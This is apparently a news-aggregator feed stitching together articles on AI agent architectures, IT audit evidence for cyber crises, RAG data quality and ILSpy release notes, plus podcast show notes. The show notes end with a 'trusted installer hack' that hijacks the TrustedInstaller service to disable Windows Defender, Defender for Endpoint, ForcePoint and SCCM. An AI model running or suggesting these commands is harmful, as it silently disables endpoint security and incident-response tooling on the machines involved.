The fourth pattern is where the next wave of enterprise quality gains is going to come from. According to Databricks, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.

A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.

The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.

5. The human-in-the-loop (HITL) agent

The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. According to Moody’s, 42% of compliance professionals believe that human oversight is mandatory, and I agree: AI should run right, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.

A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.

A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.

6. The scheduled agent

On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.

A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.

A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.

Bringing it together

None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.

Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?

Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Zilog Z80 8-Bit CPU Turns 50, Open-source Replacement Heads To Drop-in DIP40 Silicon]]> https://tsecurity.de/de/3680196/it-security-nachrichten/zilog-z80-8-bit-cpu-turns-50-open-source-replacement-heads-to-drop-in-dip40-silicon/ https://tsecurity.de/de/3680196/it-security-nachrichten/zilog-z80-8-bit-cpu-turns-50-open-source-replacement-heads-to-drop-in-dip40-silicon/ Mon, 20 Jul 2026 03:08:12 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[The audit trail CIOs need before the next cyber crisis]]> https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ Mon, 20 Jul 2026 02:13:22 +0200 📰 IT Security Nachrichten tsecurity.de

In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.

Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.

Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.

The erosion of the corporate shield

With the application of the European Union’s Digital Operational Resilience Act (DORA) for financial entities, alongside the broader NIS2 Directive for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the U.S. Securities and Exchange Commission’s cybersecurity disclosure rules require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.

The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.

When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?

When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.

Why point-in-time comfort letters fail regulatory scrutiny

The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.

But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.

Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.

When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.

5 non-negotiable artifacts for your executive evidence engine

This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.

It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.

To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?

  1. Board-facing risk registers with escalation history: A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.
  2. Granular risk acceptance records: You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.
  3. Tabletop and operational simulation records: Independent frameworks such as ISACA’s Digital Trust Ecosystem Framework can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.
  4. AI governance inventories and data-flow mappings: The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.
  5. Synchronized disclosure-control handoffs: When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.

In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.

Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.

The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.

.

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]]> <![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]> https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ Mon, 20 Jul 2026 02:06:59 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Explicit by the host.

Show Notes

Episode Overview

  • Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

    • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
    • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
    • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
    • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
    • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
    • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

 Tools & Techniques Mentioned

    • crontab + Python scripts for automated monitoring
    • grep -v , cat , tail , and vi (line navigation with :1000 )
    • Obsidian for note-taking & AI assistant integration
    • Firefox/Playwright for headless browser testing
    • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
    • 7-Zip for archive extraction
    • Google Drive for searchable config backups

Resources & Links

Quick Takeaways

    1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
    2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
    3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
    4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
    5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.
  • Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

]]> <![CDATA[Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?]]> https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/ https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/ Mon, 20 Jul 2026 00:24:19 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]> https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ Sun, 19 Jul 2026 22:32:19 +0200 📰 IT Nachrichten tsecurity.de The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.

When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.

But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.

This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.

The mirage of the retrieval layer

In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.

It is not.

When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.

If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.

No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.

Shifting from ad-hoc patching to programmatic guardrails

To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.

This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.

1. Harden the ingestion pipeline

Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.

Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.

2. Use multi-tiered algorithmic validation

Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.

This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.

If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.

3. Decouple security and compliancemfrom the model

An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.

Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.

Technical alignment: A pragmatic blueprint

For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.

  • Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?

  • Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?

  • Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?

These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.

Building for the production era

The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.

If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.

The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.

In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.

Naveen Ayalla is a senior data engineer.

]]> <![CDATA[ILSpy 11.0 Preview 1]]> https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/ https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/ Sun, 19 Jul 2026 16:33:41 +0200 đŸ’Ÿ IT Security Tools tsecurity.de

Warning

We DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.

Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact because the ILSpy.app is neither signed nor notarized.

Avalonia Cross Platform Port

  • PR #3755: Avalonia 12 Port and Removal of the WPF UI
  • PR #3759: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity
  • PR #3766: Round-trip the legacy WPF SessionSettings shape
  • PR #3768: Build, test, and package ILSpy on Linux and macOS in CI
  • PR #3861: Show text-based resources inline with syntax highlighting
  • PR #3875: Avalonia 12.1
  • PR #3876: Keep BAML decompilation working when WPF assemblies are missing

New Features

  • PR #3847: Unpack !AvaloniaResources into per-file resource tree nodes
  • PR #3801: Fix #3797: resolve ilspycmd -t type names with fuzzy matching
  • PR #3789: Add a bookmarks feature for the decompiled C# view
  • PR #3786: Add omnibar breadcrumb and search bar above the decompiled code
  • PR #3769: Make the override modifier a link to the overridden member
  • PR #3762: Add Open from NuGet feed dialog for browsing and opening packages

User Interface

  • PR #3857: Fix #2078: Generic local functions not highlighted properly
  • PR #3855: Fix #3845: Add option to expand XML documentation comments
  • PR #3814: Toggle the fold under the right-click, not at the caret
  • PR #3812: Syntax-colour analyzer signatures with bold type names (#2164)

Enhancements

  • PR #3872: Decompile await on dynamic expressions
  • PR #3837: Fix #3804: decompile foreach over inline array
  • PR #3791: Fix #3777: decompile runtime async without a separate C# 15 setting
  • PR #3843: Bound XamarinCompressedFileLoader against crafted XALZ headers
  • PR #3842: Bound WebCilFile section access against mapped-view length
  • PR #3841: Harden BAML reader against crafted-resource crashes
  • PR #3816: Allow overriding an assembly's target framework for reference resolution
  • PR #3840: Bound .rsrc resource-tree parsing against crafted input
  • PR #3838: Guard against OOB read when bundle signature is at file start
  • PR #3818: Display the IL 'tail.' prefix in C# output
  • PR #3808: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in
  • PR #3802: Fix #3799 and three related stackalloc initializer decompilation defects
  • PR #3780: Compute public-key tokens with a managed SHA-1

Documentation

  • PR #3868: CONTRIBUTING.md for the AI era
  • PR #3870: Add decompiler architecture document

Testing / Infrastructure

  • PR #3771: Run the decompiler test suite on Linux
  • PR #3788: Use cross-platform separators for the FSharp.Core.dll test path
  • PR #3807: Adopt SDK default Compile items in Decompiler and Decompiler.Tests
  • PR #3815: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)
  • PR #3836: Don't assert decompiled local types match the signature
  • PR #3839: Add fine-grained debug steps with highlighting for C# and ILAst
  • PR #3849: Set OpenSSL SHA1 flag in build scripts
  • PR #3859: Add test coverage for untested corners of implemented language features
  • PR #3874: Upload TestCases folder as artifact when CI tests fail

Contributions

  • PR #3851: Fix #3850: recover ReadOnlySpan array literals from the legacy lazy cache — @sailro, thank you!
  • PR #3878: Handle negative dictionary capacity in string switch transform — @ds5678, thank you!
  • PR #3828: Fix #3826: wrap an overflowing constant subexpression in unchecked() — @sailro, thank you!
  • PR #3831: Fix #3825: reconstruct async iterators with [EnumeratorCancellation] and await in finally — @sailro, thank you!
  • PR #3830: Fix #3827: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — @sailro, thank you!
  • PR #3823: Fix #3821: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — @sailro, thank you!
  • PR #3822: Fix #3820: decompile dynamic ~ as ~x instead of an unsupported-opcode error — @sailro, thank you!
  • PR #3796: Fix decompiler tests project inside VS — @DoctorKrolic, thank you!
  • PR #3787: dev: fix editorconfig parsing on some editors — @mochaaP, thank you!
  • PR #3879: Fix the "Use nested namespace structure" option — @ds5678, thank you!

Bug Fixes

  • PR #3881: Reject negative char index in the length-and-char string switch
  • PR #3866: Fix #3475: Emit 'true ? null : new { ... }' for null of anonymous type
  • PR #3864: Fix #3860: Avoid 'out var' if the variable recurs in the argument list
  • PR #3873: Fix dynamic event-assignment decompilation leaking is-event opcode
  • PR #3863: Simplify hoisted null-guard fold to reference-type constructor chains
  • PR #3852: Fix #3824: fold a hoisted argument null-guard at the ILAst level
  • PR #3832: Fix #3754: omit async stepping info for runtime-async methods
  • PR #3806: Fix Export NullReferenceException for images/resourcexsd.baml
  • PR #3792: Fix #3774: keep field initializers when decompiling a static ctor alone
  • PR #3790: Skip missing session assemblies when navigating on launch
  • PR #3776: Escape reserved Windows device names in output file names

For a full list of changes click here.

]]> <![CDATA[They Forgot What Happened Last Time: hacking the Windows 365 Link (emf2026)]]> https://tsecurity.de/de/3679606/it-security-video/they-forgot-what-happened-last-time-hacking-the-windows-365-link-emf2026/ https://tsecurity.de/de/3679606/it-security-video/they-forgot-what-happened-last-time-hacking-the-windows-365-link-emf2026/ Sun, 19 Jul 2026 16:33:06 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[They Forgot What Happened Last Time: hacking the Windows 365 Link (emf2026)]]> https://tsecurity.de/de/3679584/it-security-video/they-forgot-what-happened-last-time-hacking-the-windows-365-link-emf2026/ https://tsecurity.de/de/3679584/it-security-video/they-forgot-what-happened-last-time-hacking-the-windows-365-link-emf2026/ Sun, 19 Jul 2026 16:17:04 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Download YouTube App For Windows 11 PC (Offline Installer)]]> https://tsecurity.de/de/3679567/it-security-nachrichten/download-youtube-app-for-windows-11-pc-offline-installer/ https://tsecurity.de/de/3679567/it-security-nachrichten/download-youtube-app-for-windows-11-pc-offline-installer/ Sun, 19 Jul 2026 15:53:15 +0200 📰 IT Security Nachrichten tsecurity.de Key TakeawaysYouTube is a popular video-sharing platform with a wide variety of content available for users to watch for free, including music, education, tech, sports, and more.Windows 11 users can now download and install the YouTube app from the Microsoft Store, ensuring their PC meets the system requirements of x64-bit architecture and at least 100MB [
]

The post Download YouTube App For Windows 11 PC (Offline Installer) appeared first on iTech Hacks.

]]> <![CDATA[Windows 11 trades noisy Bing ads for the clean Search experience it always needed]]> https://tsecurity.de/de/3679503/windows-tipps/windows-11-trades-noisy-bing-ads-for-the-clean-search-experience-it-always-needed/ https://tsecurity.de/de/3679503/windows-tipps/windows-11-trades-noisy-bing-ads-for-the-clean-search-experience-it-always-needed/ Sun, 19 Jul 2026 15:10:38 +0200 đŸȘŸ Windows Tipps tsecurity.de <![CDATA[Corded vacuums are supposed to be outdated – so why is the Shark Detect Lift-Away XL so good?]]> https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/ https://tsecurity.de/de/3679448/it-nachrichten/corded-vacuums-are-supposed-to-be-outdated-so-why-is-the-shark-detect-lift-away-xl-so-good/ Sun, 19 Jul 2026 14:17:26 +0200 📰 IT Nachrichten tsecurity.de Surprisingly easy to manoeuvre and skilled at cleaning carpet and hard floor, Shark’s upright bagless model is one of the best corded vacuums I’ve tested

‱ The best vacuum cleaners

Corded vacuum cleaners aren’t as glamorous as their cordless cousins, but swapping battery power for a plug socket has its advantages. The device will never be short of power, so it can keep cleaning for as long as you need it to. Prices also tend to be lower because there’s no expensive battery to factor into the cost.

On the downside, there’s a cable to manage while you clean, and even the longest cords usually need to be switched from one plug socket to another if your home is any larger than a small flat.

Continue reading...]]> <![CDATA[We Don’t Have a Clean Indoor Air Act. Are Air Purifiers the Answer?]]> https://tsecurity.de/de/3679339/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/ https://tsecurity.de/de/3679339/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/ Sun, 19 Jul 2026 12:47:42 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[[OC] Whisp 1.3.8 released — Added "Slate Mode" for absolute minimalism and official NixOS support.]]> https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/ https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/ Sun, 19 Jul 2026 11:54:45 +0200 🐧 Linux Tipps tsecurity.de

Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads!

Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declarative setups.

What's New in v1.3.8:

Slate Mode: You can now press Alt + S (or set it as your default startup behavior) to instantly hide all top bars and UI elements. It turns Whisp into a perfectly clean, floating piece of text on your desktop for ultimate distraction-free writing.

Official NixOS Support: Thanks to an awesome community contributor, Whisp now includes an official Nix Flake and a Home Manager module! You can natively install and configure your Whisp preferences declaratively via programs.whisp.

Smarter Line Sorting: Using our ::sort_lines_alpha text expansion will now dynamically split your notes into sections. Markdown headings (# Ideas) are strictly anchored in place, and only the text beneath them is sorted.

Read the Latest changelogs here

(A quick personal note: Whisp is completely open-source and I develop it solo between my university classes. If Whisp helps your daily workflow, consider [donating](https://tanaybhomia.github.io/Whisp/donate.html)!) or dropping a star on github

Links

Donate: https://tanaybhomia.github.io/Whisp/donate.html

Download on Flathub: https://flathub.org/apps/io.github.tanaybhomia.Whisp

GitHub / Source Code: https://github.com/tanaybhomia/Whisp

Project Website & Docs: https://tanaybhomia.github.io/Whisp

Manual: [tanaybhomia.github.io/Whisp/manual](https://tanaybhomia.github.io/Whisp/manual.html)

My Portfolio: https://tanaybhomia.github.io/

Let me know what you guys think of the new Slate Mode!

submitted by /u/Baajjii
[link] [comments]]]> <![CDATA[Powerpoint entrĂŒmpeln: So fesseln Sie Ihr Publikum]]> https://tsecurity.de/de/3678839/it-security-nachrichten/powerpoint-entruempeln-so-fesseln-sie-ihr-publikum/ https://tsecurity.de/de/3678839/it-security-nachrichten/powerpoint-entruempeln-so-fesseln-sie-ihr-publikum/ Sun, 19 Jul 2026 06:07:17 +0200 📰 IT Security Nachrichten tsecurity.de

Typo

Seit einiger Zeit waren große Bilder in Powerpoint Gang und GĂ€be. Doch Trends Ă€ndern sich. Jetzt wird verstĂ€rkt mit Worten gearbeitet. Text darf und soll alleine stehen, ohne Ablenkung durch Bilder, auffĂ€llige HintergrĂŒnde, Rahmen oder Linien. Mit der Typografie spielen darf man dagegen schon. Besondere Schriftarten abseits von Times New Roman und Arial, Hervorhebungen durch Farbe oder unterschiedliche SchriftgrĂ¶ĂŸen stellen das Wichtigste in den Mittelpunkt: den Inhalt.

Echte Bilder

Wem gefĂ€llt schon die immer gleiche, unrealistische Scheinwelt der Stockfotos? Bisher lĂ€chelten hĂ€ndeschĂŒttelnde Chefs, Mitarbeiterinnen in frisch gebĂŒgelten Blusen oder EinkaufstĂŒten schwingende Kunden von den Slides. Wenn schon Bilder zum Einsatz kommen, dann individuelle, vielleicht sogar selbst fotografierte Bilder. Es muss nicht alles perfekt aussehen, sondern authentisch und sympathisch wirken. Dies gelingt beispielsweise, wenn Sie “echte” Mitarbeiter in ihrem Arbeitsumfeld fotografieren. So können sich Ihre Zuschauer viel besser mit den Inhalten identifizieren und lernen Ihr Unternehmen auf ganz neue Art und Weise kennen.

PrÀsentation
